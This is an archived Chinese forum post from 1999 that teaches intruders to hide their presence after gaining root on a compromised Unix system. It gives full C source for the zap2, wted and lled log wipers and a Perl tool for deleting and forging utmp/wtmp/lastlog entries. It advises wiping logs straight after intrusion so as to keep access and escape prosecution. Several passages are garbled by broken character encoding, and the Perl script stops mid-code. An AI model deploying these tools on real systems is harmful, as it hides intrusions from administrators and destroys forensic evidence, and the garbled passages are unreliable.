精华区 [关闭][返回]

当前位置:网易精华区>>讨论区精华>>电脑技术>>● 计算机安全>>◇程序代码◇>>隐藏自己

主题:隐藏自己
发信人: amis()
整理人: williamlong(1999-05-31 13:14:30), 站内信件
----------------------------------------------------------------------
----------

目录:
Zap2 程序
其它脚本程序 


隐藏自己的关键是你要不断的学习了解新的系统知识。如果你做了很苯的事情,
比如有一次忘了清除你的utmp、wtmp日志或传送记录等等,你可能就会丧失再次
访问这个系统的机会。你自己应该制定一个计划去学习每个操作系统!
尽可能的去熟悉系统,如果你同时学习几个系统,你应该做好笔记。记住你应该
养成一个习惯,你是否养成清除你登录、传送文档的记录的习惯?千万不要忘记
清除记录否则你可能会丧失对系统的访问权并面对一系列的指控。 


----------------------------------------------------------------------
----------

Zap2 (清除 wtmp/lastlog/utmp记录) 

网络上有很多不同的日志清除程序,其中最好的是zap2。我编译后称为z2 
在你获得root的访问权后立即运行z2这个程序。这个程序执行的非常快。
你可以使用finger @host.xxx来查看当前有说锹剂耍邢腹鄄煲幌聄oot或admin
的idle time(空闲时间)来猜测他们是否离开主机了。
Login, ?úμ???oóá¢?′ê?è?wà′2é?′idle timeoí???úóD?μ???á
??£ μ???ó?"w"2é?′?μí3oí??ê?è?ê1×??o3é?arootμ??üá?ê?2?
?üí?ê±??DDμ??£ò?μ???μ?μ?á?rootμ?·??ê訣?á¢?′ê?è?
 ./z2 ??μ????μí3?ùó?μ?ó??§???£ 
现在你比刚才就安全多了。现在再用"w"或"who"命令来查看一下,你已静换岜籾
tmp记录了。如果你要使用 ftp或其它的一些命令你可能就会用到我在本章中提供
的另外两个程序 wted 和 lled。 
我们先来完成z2这个程序。你必须了解每个文件在你入侵的系统中的位置以便修
改z2.c,使其包含这些文件的正确路径。
下面是在文件头部的需要你修改的部分。
#define WTMP_NAME "/usr/adm/wtmp" 
#define UTMP_NAME "/etc/utmp" 
#define LASTLOG_NAME "/usr/adm/lastlog" 
在有些系统中应该是:
#define WTMP_NAME "/var/adm/wtmp" 
#define UTMP_NAME "/var/adm/utmp" 
#define LASTLOG_NAME "/var/adm/lastlog" 

但你应该自己查看一下这些文件存放在你要入侵的系统的什么位置。/var/log目
录也是很可能的一个路径。修改好正确的文件路径后,编译这个文件,现在你登
录之后运行z2,你就已比较安全了。
这里是c程序:
z2.c 
--------------------------- cut here 
#include <sys/types.h> 
#include <stdio.h> 
#include <unistd.h> 
#include <sys/file.h> 
#include <fcntl.h> 
#include <utmp.h> 
#include <pwd.h> 
#include <lastlog.h> 
#define WTMP_NAME "/usr/adm/wtmp" 
#define UTMP_NAME "/etc/utmp" 
#define LASTLOG_NAME "/usr/adm/lastlog" 

int f; 

void kill_utmp(who) 
char *who; 

struct utmp utmp_ent; 

if ((f=open(UTMP_NAME,O_RDWR))>=0) { 
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) 
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { 
bzero((char *)&utmp_ent,sizeof( utmp_ent )); 
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); 
write (f, &utmp_ent, sizeof (utmp_ent)); 

close(f); 



void kill_wtmp(who) 
char *who; 

struct utmp utmp_ent; 
long pos; 

pos = 1L; 
if ((f=open(WTMP_NAME,O_RDWR))>=0) { 

while(pos != -1L) { 
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); 
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}

void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) { 
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); 
bzero((char *)&newll,sizeof( newll )); 
write(f, (char *)&newll, sizeof( newll )); 
close(f); 


} else printf("%s: ?\n",who); 


main(argc,argv) 
int argc; 
char *argv[]; 

if (argc==2) { 
kill_lastlog(argv[1]); 
kill_wtmp(argv[1]); 
kill_utmp(argv[1]); 
printf("Zap2!\n"); 
} else 
printf("Error.\n"); 

--------------------------- cut here 


----------------------------------------------------------------------
----------

其它脚本程序 

我们开始本章的另一部分。我们假设你登录并执行了z2,你需要进行ftp来抓一个
文件(记住,象第一章所说的,不要ftp或telent出这个入侵的主机)。好了,你f
tp进入系统抓取几个文件,或登录到系统的其它帐户中,那现在你就要用到wted
程序了。 wted程序允许你编紈tmp日志来清除你ftp留下的记录。你也可能要用到
lled (编糽astlog日志). 
你在修改日志的路径并编译wted程序后,输入 ./wted将会出现下面的菜单。
[8:25pm][/home/compile]wted 
Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST 
-h This help 帮助
-f Use FILE instead of default 所使用的非默认文件
-a Show all entries found 显示所有的记录
-u Show all entries for USER 显示USER的所有记录
-b Show NULL entries 显示空记录
-e Erase USER completely 完全清除某用户的记录
-c Erase all connections containing HOST 清除从某主机来的所有记录
-z Show ZAP'd entries ??ê?ó?ZAP′|àí1yμ?????
-x Attempt to remove ZAP'd entries completely é?3yó?ZAP′|àí1yμ??
???
如果你ftp使用的用户名为 tsmith,你应这样使用 wted -x -e tsmith 
这个程序将显示用户tsmith登录的一个时间并询问你是否要删除它。在你删除你
登录的记录后,记着chmod 644 wtmp.tmp文件然后将其拷贝到日志文件的目录并
覆盖岳吹奈募O笳庋? 
1. chmod 644 wtmp.tmp 
2. cp wtmp.tmp /var/adm/wtmp 
下面是wted程序:
重要:记着将char里面文件改成正确的路径。 
wted.c 
---------------------- cut here 
#include <stdio.h> 
#include <utmp.h> 
#include <time.h> 
#include <fcntl.h> 
char *file="/var/adm/wtmp"; 
main(argc,argv) 
int argc; 
char *argv[]; 

int i; 
if (argc==1) usage(); 
for(i=1;i<argc;i++)
{
if(argv[i][0] == '-')
{
switch(argv[i][1])
{
case 'b': printents(""); break;
case 'z': printents("Z4p"); break;
case 'e': erase(argv[i+1],0); break;
case 'c': erase(0,argv[i+1]); break;
case 'f': file=argv[i+1]; break;
case 'u': printents(argv[i+1]); break;
case 'a': printents("*"); break;
case 'x': remnull(argv[i+1]); break;
default:usage();
}
}
}
}
printents(name)
char *name;
{
struct utmp utmp,*ptr;
int fp=-1;
ptr=&utmp;
if (fp=open(file,O_RDONLY))
{
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp))
{
if ( !(strcmp(name,ptr->ut_name)) || (name=="*") || 
(!(strcmp("Z4p",name)) && (ptr->ut_time==0))) 
printinfo(ptr); 

close(fp); 


printinfo(ptr) 
struct utmp *ptr; 

char tmpstr[256]; 
printf("%s\t",ptr->ut_name); 
printf("%s\t",ptr->ut_line); 
strcpy(tmpstr,ctime(&(ptr->ut_time))); 
tmpstr[strlen(tmpstr)-1]='\0'; 
printf("%s\t",tmpstr); 
printf("%s\n",ptr->ut_host); 

erase(name,host) 
char *name,*host; 

int fp=-1,fd=-1,tot=0,cnt=0,n=0; 
struct utmp utmp; 
unsigned char c; 
if (fp=open(file,O_RDONLY)) { 
fd=open("wtmp.tmp",O_WRONLY|O_CREAT); 
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) { 
if (host) 
if (strstr(utmp.ut_host,host)) tot++; 
else {cnt++;write(fd,&utmp,sizeof(struct utmp));} 
if (name) { 
if (strcmp(utmp.ut_name,name)) {cnt++; 
write(fd,&utmp,sizeof(struct utmp));} 
else { 
if (n>0) { 
n--;cnt++; 
write(fd,&utmp,sizeof(struct utmp));} 
else 

printinfo(&utmp); 
printf("Erase entry (y/n/f(astforward))? "); 
c='a'; 
while (c!='y'&&c!='n'&&c!='f') c=getc(stdin); 
if (c=='f') { 
cnt++; 
write(fd,&utmp,sizeof(struct utmp)); 
printf("Fast forward how many entries? "); 
scanf("%d",&n);} 
if (c=='n') { 
cnt++; 
write(fd,&utmp,sizeof(struct utmp)); 

if (c=='y') tot++; 

} } 

close(fp); 
close(fd); 

printf("Entries stored: %d Entries removed: %d\n",cnt,tot); 
printf("Now chmod wtmp.tmp and copy over the original %s\n",file); 

remnull(name) 
char *name; 

int fp=-1,fd=-1,tot=0,cnt=0,n=0; 
struct utmp utmp; 
if (fp=open(file,O_RDONLY)) { 
fd=open("wtmp.tmp",O_WRONLY|O_CREAT); 
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) { 
if (utmp.ut_time) { 
cnt++; 
write(fd,&utmp,sizeof(struct utmp)); 

else 
tot++; 

close(fp); 
close(fd); 

printf("Entries stored: %d Entries removed: %d\n",cnt,tot); 
printf("Now chmod wtmp.tmp and copy over the original %s\n",file); 

usage() 

printf("Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c 
HOST\n"); 
printf("\t-h\tThis help\n"); 
printf("\t-f\tUse FILE instead of default\n"); 
printf("\t-a\tShow all entries found\n"); 
printf("\t-u\tShow all entries for USER\n"); 
printf("\t-b\tShow NULL entries\n"); 
printf("\t-e\tErase USER completely\n"); 
printf("\t-c\tErase all connections containing HOST\n"); 
printf("\t-z\tShow ZAP'd entries\n"); 
printf("\t-x\tAttempt to remove ZAP'd entries completely\n"); 

---------------------- cut here 
你可能还需要清除/vat/adm/lastlog日志。 
这要用到lled.c程序。编译这个文件并命名为lled. 
你运行lled程序将会出现下面的菜单: 
[4:04am][/home/paris/compile]lled 
Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST 
-h This help °??ú
-f Use FILE instead of default ê1ó????¨μ????t′úì?è±ê?μ?
-a Show all entries found ??ê?è?2?????
-u Show all entries for USER ??ê????¨ó??§μ?è?2?????
-b Show NULL entries ??ê???????
-e Erase USER completely è?2?é?3y???¨ó??§μ?????
-c Erase all connections containing HOST é?3y°üo????¨?÷?úμ?è?2
?????
-z Show ZAP'd entries ??ê?ó?ZAP′|àí1yμ?????
-x Attempt to remove ZAP'd entries completely é?3yó?ZAP′|àí1yμ??
???
你可以先用-u来看一下,很多时候你的用户名并没有记录下来,但会记录下你的
主机,一般你可以这样使用:(假设我进入系统时使用的主机名为machine.edit.
com)
lled -e username -c machine.edit 
如果你要查看你的主机是否记录在lastlog日志的结尾,你应输入:lled -a 
使用chmod将 lastlog.tmp文件属性改为 644并象你使用上面的wted程序一样将其
拷贝到日志文件的目录中并覆盖岳吹奈募?
重要:将lastlog路径设置为你入侵的主机中的正确路径。
下面是lled.c: 
-------------------------- cut here 
#include <stdio.h> 
#include <time.h> 
#include <lastlog.h> 
#include <fcntl.h> 
char *file="/var/adm/lastlog"; 
main(argc,argv) 
int argc; 
char *argv[]; 

int i; 
if (argc==1) usage(); 
for(i=1;i<argc;i++)
{
if(argv[i][0] == '-')
{
switch(argv[i][1])
{
case 'b': printents(""); break;
case 'z': printents("Z4p"); break;
case 'e': erase(argv[i+1]); break;
case 'c': erase(0,argv[i+1]); break;
case 'f': file=argv[i+1]; break;
case 'u': printents(argv[i+1]); break;
case 'a': printents("*"); break;
case 'x': remnull(argv[i+1]); break;
default:usage();
}
}
}
}
printents(name)
char *name;
{
struct lastlog utmp,*ptr;
int fp=-1;
ptr=&utmp;
if (fp=open(file,O_RDONLY))
{
while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog))

{
if ( !(strcmp(name,ptr->ll_line)) || (name=="*") || 
(!(strcmp("Z4p",name)) && (ptr->ll_time==0))) 
printinfo(ptr); 

close(fp); 


printinfo(ptr) 
struct lastlog *ptr; 

char tmpstr[256]; 
printf("%s\t",ptr->ll_line); 
strcpy(tmpstr,ctime(&(ptr->ll_time))); 
tmpstr[strlen(tmpstr)-1]='\0'; 
printf("%s\t",tmpstr); 
printf("%s\n",ptr->ll_host); 

erase(name,host) 
char *name,*host; 

int fp=-1,fd=-1,tot=0,cnt=0,n=0; 
struct lastlog utmp; 
unsigned char c; 
if (fp=open(file,O_RDONLY)) { 
fd=open("lastlog.tmp",O_WRONLY|O_CREAT); 
while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) 

if (host) 
if (strstr(utmp.ll_host,host)) tot++; 
else {cnt++;write(fd,&utmp,sizeof(struct lastlog));} 
if (name) { 
if (strcmp(utmp.ll_line,name)) {cnt++; 
write(fd,&utmp,sizeof(struct lastlog));} 
else { 
if (n>0) { 
n--;cnt++; 
write(fd,&utmp,sizeof(struct lastlog));} 
else 

printinfo(&utmp); 
printf("Erase entry (y/n/f(astforward))? "); 
c='a'; 
while (c!='y'&&c!='n'&&c!='f') c=getc(stdin); 
if (c=='f') { 
cnt++; 
write(fd,&utmp,sizeof(struct lastlog)); 
printf("Fast forward how many entries? "); 
scanf("%d",&n);} 
if (c=='n') { 
cnt++; 
write(fd,&utmp,sizeof(struct lastlog)); 

if (c=='y') tot++; 

} } 

close(fp); 
close(fd); 

printf("Entries stored: %d Entries removed: %d\n",cnt,tot); 
printf("Now chmod lastlog.tmp and copy over the original %s\n",file); 


remnull(name) 
char *name; 

int fp=-1,fd=-1,tot=0,cnt=0,n=0; 
struct lastlog utmp; 
if (fp=open(file,O_RDONLY)) { 
fd=open("lastlog.tmp",O_WRONLY|O_CREAT); 
while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) 

if (utmp.ll_time) { 
cnt++; 
write(fd,&utmp,sizeof(struct lastlog)); 

else 
tot++; 

close(fp); 
close(fd); 

printf("Entries stored: %d Entries removed: %d\n",cnt,tot); 
printf("Now chmod lastlog.tmp and copy over the original %s\n",file); 


usage() 

printf("Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c 
HOST\n"); 
printf("\t-h\tThis help\n"); 
printf("\t-f\tUse FILE instead of default\n"); 
printf("\t-a\tShow all entries found\n"); 
printf("\t-u\tShow all entries for USER\n"); 
printf("\t-b\tShow NULL entries\n"); 
printf("\t-e\tErase USER completely\n"); 
printf("\t-c\tErase all connections containing HOST\n"); 
printf("\t-z\tShow ZAP'd entries\n"); 
printf("\t-x\tAttempt to remove ZAP'd entries completely\n"); 

---------------------------------------------------------------- cut h
ere 
下面是个编辑tmp, wtmp和检查进程的很好的perl脚本程序。这个程序还允许你在
wtmp日志中加入一行。如果你想搞,你可以加入clinton(克林顿).whitehouse(白
宫).gov logging into port ttyp3 并显示他在系统中停留了几个小时!
使用检查功能,你可以知道是否有什么人登录到系统中而在utmp日志中又没有记
录。系统管理员有时登录后喜欢把自己隐藏起来,这个程序可以看到他们是否在
线。你必须有root的权限来执行这个程序,这个程序还需要5.003以上的版本才能
运行。启动这个脚本程序后输入help。
下面是一些基本命令:
starts by loading wtmp 
delete user username 
delete host hostanme 
write 
read wtmp 
delete user username 
delete host hostname 
write 
使用help来查看其它的命令......这是最好的wtmp,wtmp编计鳎?
说声谢谢吧 ;) 
-----------------------start of utmpman.pl 
#!/usr/bin/perl -w 

# Variable defines. 
my($utmp_location) = "/var/run/utmp"; 
my($wtmp_location) = "/var/log/wtmp"; 
my($shells_location) = "/etc/shells"; 
my($ttybase) = "tty"; 
my($ttyrange) = "pqrs"; # TTYrange standard on most linux systems. 
my($ttyports) = "012345657689abcfef"; # TTYports standard on most linu
x systems. 
# Global initializations. 
my($active_file) = ""; 
my(%entries) = {}; 
my(@cmdline) = (); 
my(@shells) = (); 
# Display banner. 
print "\nutmp Manager v0.8\n\n"; 
# Access check. 
die("utmpman :: You must be root to run this application!\n") unless (
$> == 0); 
# Read in valid shells. 
if (defined($shells_location)) { 
open(SHELLFILE, "<$shells_location");
@shells = <SHELLFILE>; 
close(SHELLFILE); 

# Process "basename" of each shell. 
@shells = map( { /([^\/\n]+)\n*$/; $1; } @shells); 

print push(@shells) . " valid shells in $shells_location: @shells\n" i
f (defined(@shells)); 
readfile("$utmp_location"); 
print("\nutmpman: $active_file> "); 
while (<STDIN>) { 
process_cmd(split); 
print("\nutmpman: $active_file> "); 

sub process_cmd { 
return if (!defined(@_)); 
my(@line) = map { lc($_) } @_; 

$_ = shift(@line); 
SWITCH: { 
/^check$/ && do { 
check_func(@line); 
last SWITCH; 
}; 
/^delete$/ && do { 
del_func(@line); 
last SWITCH; 
}; 

/^help$/ && do { 
help_func(); 
last SWITCH; 
}; 

/^insert$/ && do { 
ins_func(@line); 
last SWITCH; 
}; 

/^list$/ && do { 
list_func(@line); 
last SWITCH; 
}; 
/^read$/ && do { 
read_func(@line); 
last SWITCH; 
}; 

/^write$/ && do { 
write_func(@line); 
last SWITCH; 
}; 

/^quit|exit$/ && exit(0); 

# DEFAULT. 
print ("Invalid command.\n"); 



# HELP 
sub help_func { 
print << "EOM";
utmpManager Help
----------------
Note: - <n> is an argument. 
- [id=] is a token which expects a value as part of command 
(ie, insert id=p5 user=root 11/23/96). See the insert command. 
- A line is the full name to the tty port, ie ttyp0. 
- An id is the *unique* representation of the port 
(without the tty, etc), ie "p0" (for ttyp0). 
check 
- Perform user consistancy check. Use this to make sure that the data 
in 
utmp agrees with who is actually on the machine. This is useful in 
determining if a user is online with hidden ports, running nohup'd 
processes, or running iScreen. 
delete <x>-<y> 
- Delete entries #x to #y. 
delete host <host> 
- Delete *all* entries which match the substring <host>. 
delete line|id <line|id> 
- Delete entry containing <line> or <id>. 
insert {id=|line=} [type=] [user=] [host=] [ConnTime] {LogoffTime} 
- Insert an entry into utmp/wtmp files specifying any combination 
of id/line, type, username, host, connection time, and logoff time. 
(LogoffTime only valid for WTMP files.) 
list host <host> 
- List all entries matching the substring <host>. 
list line|id <line|id> 
- List all entries matching <line> or <id>. 
read utmp|wtmp|<filename> 
- Read entries from either default wtmp, default utmp, or an arbitrary
 
filename. Note: arbitrary filenames MUST start with either "utmp" or 

"wtmp" to be used with this editor. Rename files *outside* of this 
editor if necessary. If read is executed without any arguments, it 
rereads the last given filename, which is displayed on the prompt. 
write {filename} 
- Write entries to file {filename}. If write is executed without any 

arguments, then entries will be written to the last given filename, 
which is displayed on the prompt. 
EOM 

# DELETE 
sub del_func { 
my(@params) = @_; 
if (!push(@_)) { 
print("delete :: Not enough parameters. See \"help\" for syntax.\n"); 

return undef; 
} elsif ($params[0] =~ /host|user|id|line/) { 
del_by_data(@_); 
} elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) { 
del_by_range($params[0]); 
} elsif ($params[0] =~ m/^(\d+)$/) { 
del_by_range("$1-$1"); 


# Renumber list after delete operation. 
resync(); 


sub del_by_range { 
my($range)=shift; 
$range =~ m/(\d+)*-(\d+)*/; 
my($lo, $hi, $count)=($1, $2, 0); 

$lo = 0 if (!defined($lo)); 
$hi = scalar(keys(%entries)) if (!defined($hi)); 

foreach (sort( { $a <=> $b } keys(%entries))) { 
if (($_ >= $lo) && ($_ <= $hi)) {
delete($entries{$_});
$count++;
}
}
print "$count entries deleted.\n";
}

sub del_by_data {
my($op, $data) = @_;
my($count) = 0;
if ((length($data) < 5) && ($op eq "host")) {
print "Must specify at least 5 characters for delete hostmask.\n";
return undef;
} elsif (((length($data) > 4) && ($op eq "id"))|| 
((length($data) > 11) && ($op eq "line"))) { print "Invalid $op specif
ied.\n"; 
return undef; 

# Note: If we are deleting by user, then user must match, *exactly*! 

$data = "^" . pack("a8", $data) . "\$" if ($op eq "user"); 
foreach (sort( { $a <=> $b } keys(%entries))) { 
if (%{$entries{$_}}->{$op} =~ m/$data/i) { 
delete($entries{$_}); 
++$count; 


if (!$count) { 
print "No $op entries matching $data.\n"; 
} else { 
print "$count entries deleted.\n"; 



# INSERT 
# Date1 Time1 = DateTime1 => mm/dd/[cc]yy[:hh:mm[:ss]] 
# Date2 Time2 = DateTime2 => (see above) 
# user=<username> 
# host=<hostname> 
# id=<id> | line=<line> 

# utmp: 
# insert {id=|line=} [type=] [user=] [host=] [DateTime] 
# wtmp: 
# insert {id=|line=} [user=] [host=] [DateTime1] {DateTime2} 
sub ins_func { 
my(%cmdopt)={}; 
my($datetime1, $datetime2, $gmdate, $gmdate2); 
# Get random pid out of the way. 
$cmdopt{"pid"} = int(rand(32656)+100); 
$cmdopt{"addr"} = pack("a4", ""); 
# Get command options. 
foreach (@_) { 
if (/=/) { 
local($key, $value)=split(/=/); 
$cmdopt{$key} = $value; 
} else { 
if (!defined($datetime1)) { 
$datetime1 = $_; 
next; 

if (!defined($datetime2)) { 
$datetime2 = $_ ; 
next; 

print "insert :: Invalid options specified. Please see \"help\" for sy
ntax.\n"; 
return undef; 


# Check for an illegal pair or illegal option. 
foreach (keys(%cmdopt)) { 
if (!(/^host|id|line|type|user|addr$/)) { 
print "insert :: Invalid options specified. Please see \"help\" for sy
ntax.\n"; 
return undef; 

if (($_ eq "last") && ($active_file !~ m!/*utmp[^/]*$!i)) { 
print "insert :: LAST option only valid for utmp files.\n"; 
return undef; 


# Get date in seconds since 1970. 
$gmdate = SecsSince1970($datetime1); 
# Get ending date in seconds since 1970. 
$gmdate2 = SecsSince1970($datetime2) if (defined($datetime2)); 
if (!defined($gmdate) || (!defined($gmdate2) && defined($datetime2))) 

print "insert :: Invalid date specified.\n"; 
return undef; 

if (defined($gmdate2)) { 
if ($gmdate2 < $gmdate) {
print "insert :: First date/time must be *later* than second date/time
.\n";
return undef;
}
}
if (defined($cmdopt{"id"}) && defined($cmdopt{"line"})) {
print "insert :: Insert by LINE or ID only. Please do not specify both
.\n";
return undef;
}
my($op);
if (!defined($cmdopt{"id"})) {
$cmdopt{"id"} = $cmdopt{"line"};
$op = "line";
if (!($cmdopt{"id"} =~ s/^$ttybase//)) {
print "insert :: Invalid line specified.\n";
return undef;
}
} else {
$cmdopt{"line"} = $ttybase . $cmdopt{"id"};
$op = "id";
}
if (!(defined($cmdopt{"line"}) || defined($cmdopt{"id"}))) {
print "insert :: Neither LINE nor ID value found. See \"help\" for syn
tax.\n";
return undef;
}

my($searchdata) = ($active_file =~ m!/*utmp[^/]*$!i) ?
(pack(($op eq "line") ? "a12" : "a4", $cmdopt{$op})):$cmdopt{$op};
my($epos1, $npos1, $epos2, $npos2) = ();
my($oldpos, $count)=("", 0);
foreach (sort( { $a <=> $b } keys(%entries))) { 
if ($active_file =~ m!/*utmp[^/]*$!i) { 
# Handle utmp insertion by line insertion. 
if (%{$entries{$_}}->{$op} eq $searchdata) { 
printf ("insert :: $op $searchdata already exists at position $_\n"); 

# This needs to check every option in %cmdopt for defined or null. 
$count = 0; 
foreach (qw(user host time)) { 
if (defined($cmdopt{$_})) { 
$count++ if ($cmdopt{$_} ne ""); 


if (!$count) { 
printf ("insert :: No other data specified. Entry unchanged.\n"); 
return undef; 

last; 

} else { 
# Handle wtmp insertion by time position. (Messy) 
$epos1 = $oldpos if (defined($npos1) && !defined($epos1)); 
$npos1 = $_ if (%{$entries{$_}}->{"time"} > $gmdate); 
last if (!defined($gmdate2) && defined($epos1)); 
$epos2 = $oldpos if (defined($npos2)); 
$npos2 = $_ if (%{$entries{$_}}->{"time"} > $gmtime2); 
last if (defined($epos2)); 

$oldpos = $_; 

# Set any unspecified defaults. 
$cmdopt{"user"} = pack("a8", "") if !defined($cmdopt{"user"}); 
$cmdopt{"host"} = pack("a16", "") if !defined($cmdopt{"host"}); 
$cmdopt{"type"} = 7 if !defined($cmdopt{"type"}); 
# Determine end of list insertion positions. (IE, dates entered are af
ter 
# dates in wtmp file or line/id not found in utmp file. 
$epos1 = (scalar(keys(%entries)) + 1) if (!defined($npos1)); 
if (defined($datetime2)) { 
$epos2 = (scalar(keys(%entries)) + 1) if (!defined($npos2)); 
++$epos2 if (defined($gmtime2) && !defined($npos1)); 

# Parse insert data and insert entry. 
$epos1 = sprintf("%7.3f", ($npos1 - $epos1)/2) if (defined($npos1)); 

$epos2 = sprintf("%7.3f", ($npos2 - $epos2)/2) 
if (defined($npos2) && defined($gmdate2)); 
# Insert first entry. 
$cmdopt{"time"} = $gmdate; 
@{$entries{$epos1}}{qw(type pid line id time user host addr)} = 
@{%cmdopt}{qw(type pid line id time user host addr)}; 
if (defined($epos2)) { 
$cmdopt{"user"} = pack("a8", ""); 
$cmdopt{"host"} = pack("a16",""); 
$cmdopt{"id"} = pack("a4", ""); 
$cmdopt{"time"} = $gmdate2; 

@{$entries{$epos2}}{qw(type pid line id time user host addr)} = 
@{%cmdopt}{qw(type pid line id time user host addr)}; 

resync(); 


# LIST 
sub list_func { 
my(@params) = @_; 
if (!push(@_) || ($params[0] eq "all")) { 
list_by_range("-"); 
return 0; 
} elsif ($params[0] =~ /^host|user|id|line$/) { 
list_by_data(@_); 
return 0; 
} elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) { 
list_by_range($params[0]); 
return 0; 
} elsif ($params[0] =~ m/^(\d+)$/) { 
list_by_range("$1-$1"); 
return 0; 


print ("list :: Error in parameters. See \"help\" for syntax.\n"); 
return undef; 


sub list_by_data { 
my($op, $data) = @_; 
my($count) = 0; 
foreach (sort( {$a <=> $b} keys(%entries))) { 
if (%{$entries{$_}}->{$op} =~ m/$data/i) { 
list_entry($_); 
++$count; 


print "No $op entries matching $data.\n" if (!$count); 


sub list_by_range { 
my($range)=shift; 
$range =~ m/(\d+)*-(\d+)*/; 
my($lo, $hi)=($1, $2); 

$lo = 0 if (!defined($lo)); 
$hi = scalar(keys(%entries)) if (!defined($hi)); 

foreach (sort( { $a <=> $b } keys(%entries))) { 
if (($_ >= $lo) && ($_ <= $hi)) {
list_entry($_);
}
}
}

sub list_entry {
printf("#%3d - " . gmtime(%{$entries{$_}}->{"time"}), $_); 
printf(" %s/%s", @{$entries{$_}}{qw(id line)}); 
printf(": %s ", %{$entries{$_}}->{"user"}) 
if (%{$entries{$_}}->{"user"} ne pack("a8", "")); 
printf("from %s", %{$entries{$_}}->{"host"}) 
if (%{$entries{$_}}->{"host"} ne pack("a16", "")); 
if (%{$entries{$_}}->{"addr"} ne "\0\0\0\0") { 
printf(" (%s)", longtodot4(%{$entries{$_}}->{"addr"})); 

print ("\n"); 
printf("%7sPID = %u\n", "", %{$entries{$_}}->{"pid"}) 
if (%{$entries{$_}}->{"pid"} && (%{$entries{$_}}->{"user"} ne pack("a8
",""))); 

# <Silmaril> printf "#$_ - %s %s/%s: %s from %s\n", @{$v}->{qw(time id
 line user host)}; 
# <Silmaril> now *that's* cool :-) 
# <Silmaril> should be like this: @{$v}{qw(time id line user host)} 
# <Silmaril> I had an extra -> in my first version. 

# Or course, it's changed since then, but - "Thanks, Sil!" :) 


# READ 

sub read_func { 
my($arg)=shift; 

$arg = $utmp_location if ($arg eq "utmp"); 
$arg = $wtmp_location if ($arg eq "wtmp"); 
$arg = $active_file if (!defined($arg)); 

if ($arg !~ m!/*[uw]tmp[^/]*$!) { 
print("read :: Filenames *must* start with either 'wtmp' or 'utmp' to 
be edited.\n"); 
return undef; 


readfile($arg); 


# WRITE 
sub write_func { 
my($file)=shift; 
my($count)=0; 

$file = $active_file if (!defined($file)); 
if ($file !~ m!/*[uw]tmp[^/]*$!) { 
print ("write :: File must start with 'utmp' or 'wtmp'.\nRename file o
utside this program.\n"); 
return undef; 

if (!open(OUTFILE, ">$file")) { 
print ("write :: Can't open $file for output.\n"); 
return undef; 

binmode(OUTFILE); 

foreach (sort( { $a <=> $b } keys(%entries))) { 
printf OUTFILE ("%s", pack("i L a12 a4 L a8 a16 a4", 
@{$entries{$_}}{qw(type pid line id time user host addr)})); 
$count++; 

print ("$active_file: " . scalar(keys(%entries)) . " entries written.\
n"); 
close(OUTFILE); 


# CHECK 
sub check_func { 
if (push(@_)) { 
print "check :: Invalid options specified. Please see \"help\"\n"; 
return undef; 

if ($active_file !~ m!/*utmp[^/]*$!) { 
print "check :: Command can only be run on utmp files.\n"; 
return undef; 


# Build struct of ports containing port name, device num and owner. 
# Note: Test run in grepstr may *not* be portable for all Unix 
# types. Be forewarned! This was designed for Linux. 
# Hint: For all intents and purposes, s/^$ttybase([$ttyrange][$ttyport
s])$/ 
# should return the same as what you expect in "struct utmp->ut_id". 

my($grepstr) = "^($ttybase\[$ttyrange\]\[$ttyports\])\$"; 
my(%ports) = {}; 
my($user, $rdev) = (); 
opendir(DEVDIR, "/dev"); 
my(@devfiles) = readdir(DEVDIR); 
@devfiles = grep(/$grepstr/, @devfiles); 
close(DEVDIR); 
foreach (@devfiles) { 
/^$ttybase([$ttyrange][$ttyports])$/; 
if (!defined($1)) { 
print "check :: Warning! Could not extract port ID from $_.\n"; 
} else { 
($user, $rdev) = (stat("/dev/$_"))[4, 6]; 
$user = getpwuid($user); 
$ports{$1} = newport($_, $rdev, $user); 



# Check ownership of /dev ports. 
my(@logdev)=(); 
foreach (sort(keys(%ports))) { 
push(@logdev, $_) if (%{$ports{$_}}->{"owner"} ne "root"); 

@logdev = sort(@logdev); 

# Check utmp (against ports detected as logged in); 
my(@logutmp)=(); 
foreach (sort( { $a <=> $b } keys(%entries))) { 
if (defined(%{$entries{$_}}->{"user"}) && defined(%{$entries{$_}}->{"h
ost"}) && 
defined(%{$entries{$_}}->{"id"}) && defined(%{$entries{$_}}->{"pid"}))
 { 
push(@logutmp, %{$entries{$_}}->{"id"}) 
if ((%{$entries{$_}}->{"id"} =~ /[$ttyrange][$ttyports]/) && 
((%{$entries{$_}}->{"user"} ne pack("a8", "")) || 
((%{$entries{$_}}->{"host"} ne pack("a16", "")) && 
(%{$entries{$_}}->{"id"} ne pack("a4", "")) && 
(%{$entries{$_}}->{"line"} ne pack("a12", "")) && 
(%{$entries{$_}}->{"pid"} > 0)))); 


@logutmp = sort(@logutmp); 
# Check PIDs (find processes with active port ids) 
opendir(PIDDIR, "/proc"); 
my(%processes) = {}; 
my(@portprocesses) = (); 
